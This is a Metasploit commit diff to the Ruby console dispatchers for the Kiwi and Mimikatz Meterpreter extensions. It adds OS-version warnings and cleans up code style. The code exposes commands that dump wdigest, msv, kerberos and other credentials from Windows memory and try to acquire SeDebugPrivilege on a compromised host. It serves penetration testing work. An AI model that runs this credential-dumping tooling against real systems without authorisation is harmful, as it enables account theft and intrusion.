Land #10619, mimikatz/kiwi warning per OS version

4.x
William Vu 2018-09-12 17:11:11 -05:00 committed by Metasploit
parent eceb7d1702
commit 2cde5641ad
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 70 additions and 68 deletions

View File

@ -8,7 +8,7 @@ module Ui
###
#
# Kiwi extension - grabs credentials from windows memory.
# Kiwi extension - grabs credentials from windows memory (newer OSes).
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
@ -46,10 +46,15 @@ class Console::CommandDispatcher::Kiwi
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
print_line
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
si = client.sys.config.sysinfo
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
print_warning('Loaded x86 Kiwi on an x64 architecture.')
print_line
end
if si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
print_warning("Loaded Kiwi on an old OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?")
end
end
#
@ -87,9 +92,9 @@ class Console::CommandDispatcher::Kiwi
# Valid options for the password change feature
#
@@password_change_usage_opts = Rex::Parser::Arguments.new(
'-h' => [false, 'Help banner'],
'-u' => [true, 'User name of the password to change.'],
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
'-h' => [false, 'Help banner'],
'-u' => [true, 'User name of the password to change.'],
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
'-p' => [true, 'The known existing/old password (do not use with -n).'],
'-n' => [true, 'The known existing/old hash (do not use with -p).'],
'-P' => [true, 'The new password to set for the account (do not use with -N).'],

View File

@ -8,12 +8,13 @@ module Ui
###
#
# Mimikatz extension - grabs credentials from windows memory.
# Mimikatz extension - grabs credentials from windows memory (older OSes).
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
#
###
class Console::CommandDispatcher::Mimikatz
@ -21,14 +22,27 @@ class Console::CommandDispatcher::Mimikatz
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Mimikatz'
end
#
# Initializes an instance of the priv command interaction.
#
def initialize(shell)
super
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
si = client.sys.config.sysinfo
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
print_warning('Loaded x86 Mimikatz on an x64 architecture.')
print_line
print_warning "Loaded x86 Mimikatz on an x64 architecture."
end
unless si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
print_warning("Loaded Mimikatz on a newer OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?")
end
end
@ -37,25 +51,25 @@ class Console::CommandDispatcher::Mimikatz
#
def commands
{
"mimikatz_command" => "Run a custom command",
"wdigest" => "Attempt to retrieve wdigest creds",
"msv" => "Attempt to retrieve msv creds (hashes)",
"livessp" => "Attempt to retrieve livessp creds",
"ssp" => "Attempt to retrieve ssp creds",
"tspkg" => "Attempt to retrieve tspkg creds",
"kerberos" => "Attempt to retrieve kerberos creds"
'mimikatz_command' => 'Run a custom command.',
'wdigest' => 'Attempt to retrieve wdigest creds.',
'msv' => 'Attempt to retrieve msv creds (hashes).',
'livessp' => 'Attempt to retrieve livessp creds.',
'ssp' => 'Attempt to retrieve ssp creds.',
'tspkg' => 'Attempt to retrieve tspkg creds.',
'kerberos' => 'Attempt to retrieve kerberos creds.'
}
end
@@command_opts = Rex::Parser::Arguments.new(
"-f" => [true, "The function to pass to the command."],
"-a" => [true, "The arguments to pass to the command."],
"-h" => [false, "Help menu."]
'-f' => [true, 'The function to pass to the command.'],
'-a' => [true, 'The arguments to pass to the command.'],
'-h' => [false, 'Help menu.']
)
def cmd_mimikatz_command(*args)
if (args.length == 0)
args.unshift("-h")
args.unshift('-h')
end
cmd_args = nil
@ -64,30 +78,30 @@ class Console::CommandDispatcher::Mimikatz
@@command_opts.parse(args) { |opt, idx, val|
case opt
when "-a"
when '-a'
cmd_args = val
when "-f"
when '-f'
cmd_func = val
when "-h"
print(
"Usage: mimikatz_command -f func -a args\n\n" +
"Executes a mimikatz command on the remote machine.\n" +
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
@@command_opts.usage)
when '-h'
print_line('Usage: mimikatz_command -f func -a args')
print_line
print_line('Executes a mimikatz command on the remote machine.')
print_line('e.g. mimikatz_command -f sekurlsa::wdigest -a full')
print_line(@@command_opts.usage)
return true
end
}
unless cmd_func
print_error("You must specify a function with -f")
print_error('You must specify a function with -f')
return true
end
if cmd_args
arguments = cmd_args.split(" ")
arguments = cmd_args.split(' ')
end
print_line client.mimikatz.send_custom_command(cmd_func, arguments)
print_line(client.mimikatz.send_custom_command(cmd_func, arguments))
end
def mimikatz_request(provider, method)
@ -96,17 +110,14 @@ class Console::CommandDispatcher::Mimikatz
accounts = method.call
table = Rex::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'AuthID', 'Package', 'Domain', 'User', 'Password'
]
'Columns' => ['AuthID', 'Package', 'Domain', 'User', 'Password']
)
accounts.each do |acc|
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")]
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || '').gsub("\n", '')]
end
print_line table.to_s
@ -116,63 +127,49 @@ class Console::CommandDispatcher::Mimikatz
def cmd_wdigest(*args)
method = Proc.new { client.mimikatz.wdigest }
mimikatz_request("wdigest", method)
mimikatz_request('wdigest', method)
end
def cmd_msv(*args)
method = Proc.new { client.mimikatz.msv }
mimikatz_request("msv", method)
mimikatz_request('msv', method)
end
def cmd_livessp(*args)
method = Proc.new { client.mimikatz.livessp }
mimikatz_request("livessp", method)
mimikatz_request('livessp', method)
end
def cmd_ssp(*args)
method = Proc.new { client.mimikatz.ssp }
mimikatz_request("ssp", method)
mimikatz_request('ssp', method)
end
def cmd_tspkg(*args)
method = Proc.new { client.mimikatz.tspkg }
mimikatz_request("tspkg", method)
mimikatz_request('tspkg', method)
end
def cmd_kerberos(*args)
method = Proc.new { client.mimikatz.kerberos }
mimikatz_request("kerberos", method)
mimikatz_request('kerberos', method)
end
def get_privs
unless system_check
print_status("Attempting to getprivs")
privs = client.sys.config.getprivs
unless privs.include? "SeDebugPrivilege"
print_warning("Did not get SeDebugPrivilege")
else
print_good("Got SeDebugPrivilege")
end
if client.sys.config.is_system?
print_good('Running as SYSTEM')
else
print_good("Running as SYSTEM")
print_warning('Not currently running as SYSTEM')
print_status('Attempting to getprivs ...')
privs = client.sys.config.getprivs
if privs.include?('SeDebugPrivilege')
print_good('Got SeDebugPrivilege.')
else
print_warning('Unable to get SeDebugPrivilege.')
end
end
end
def system_check
unless client.sys.config.is_system?
print_warning("Not currently running as SYSTEM")
return false
end
return true
end
#
# Name for this dispatcher
#
def name
"Mimikatz"
end
end
end